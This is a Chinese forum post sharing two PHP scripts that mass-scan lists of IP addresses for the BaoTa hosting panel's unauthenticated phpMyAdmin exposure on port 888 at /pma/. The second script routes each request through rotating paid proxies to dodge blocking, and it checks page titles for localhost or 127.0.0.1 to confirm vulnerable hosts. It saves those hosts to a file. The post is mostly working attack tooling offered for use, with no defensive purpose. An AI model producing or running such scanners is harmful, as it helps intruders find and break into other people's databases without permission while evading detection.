宝塔数据库绕过批量扫描php版

zhaorong · 发表于 WEB前端技术 2020-9-2 11:59:40


	近日比较火的宝塔数据库越权玩的不亦乐乎所以我也来论坛找找但是看了一下只有一个大佬发了文章看来还是得自己写一个阿 <?php $str = file_get_contents('./1.txt');//将整个文件内容读入到一个字符串中 $str_encoding = mb_convert_encoding($str, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');//转换字符集编码 $arr = explode("\r\n", $str_encoding);//转换成数组 foreach ($arr as &$row) { $row = trim($row); } unset($row); function httpcode($url){ $ch = curl_init(); $timeout = 10; curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch,CURLOPT_URL,$url); curl_exec($ch); return $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); } for ($i=0; $i < count($arr); $i++) { $reg = httpcode("http://".$arr[$i].':888/pma/'); if ($reg == "200"){ $myfile = fopen("200.txt", "a+"); $txt = "http://".$arr[$i].":888/pma/\r\n"; fwrite($myfile, $txt); fclose($myfile); echo $arr[$i]."\|200\r\n"; }else{ echo $arr[$i]."\|".$reg."\n\r"; } } ?> 复制代码但是扫还没5分钟就发现返回状态全是0 那岂不是白费心思了不行得找找原因发现全是被拉黑掉了我淦这谁顶得住啊继而又写了一个php加代理访问但是发现市面上的免费提取ip 真的卡的一批而且多人用所以我就开了一个会员版我们来看看 <?php $str = file_get_contents('./1.txt');//将整个文件内容读入到一个字符串中 $str_encoding = mb_convert_encoding($str, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');//转换字符集（编码） $arr = explode("\r\n", $str_encoding);//转换成数组 foreach ($arr as &$row) { $row = trim($row); } unset($row); function daili(){ $arr1 = file_get_contents("http://dynamic.goubanjia.com/dynamic/get/022732ad 594b63211bedf451d60f533d.html?sep=3"); return $arr1; } function httpcode($url,$ip,$dk){ $ch = curl_init(); $timeout = 10; curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_PROXY, $ip); //代理服务器地址 curl_setopt($ch, CURLOPT_PROXYPORT,$dk); //代理服务器端口 curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch,CURLOPT_URL,$url); curl_exec($ch); return $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); } for ($i=0; $i < count($arr); $i++) { $por = daili(); $pordk = explode(":",$por); $reg = httpcode("http://".$arr[$i].':888/pma/',$pordk[0],$pordk[1]); if ($reg == "200"){ $title = file_get_contents("http://".$arr[$i].':888/pma/'); $res = '/<title>.?((localhost)\|(127.0.0.1)).?<\/title>/'; preg_match($res,$title,$arrone); if ($arrone) { $myfile = fopen("200.txt", "a+"); $txt = "http://".$arr[$i].":888/pma/\r\n"; fwrite($myfile, $txt); fclose($myfile); echo $arr[$i]."\|200\r\n"; } }else{ echo $arr[$i]."\|".$reg."\n\r"; } } ?> 复制代码二次改了一下正则获取状态200的title 判断是否真的存在用法就不需要多说了把扫描好的888端口ip放同目录下1.txt执行php即可

微信扫一扫 分享朋友圈

宝塔数据库绕过批量扫描php版

微信扫一扫分享朋友圈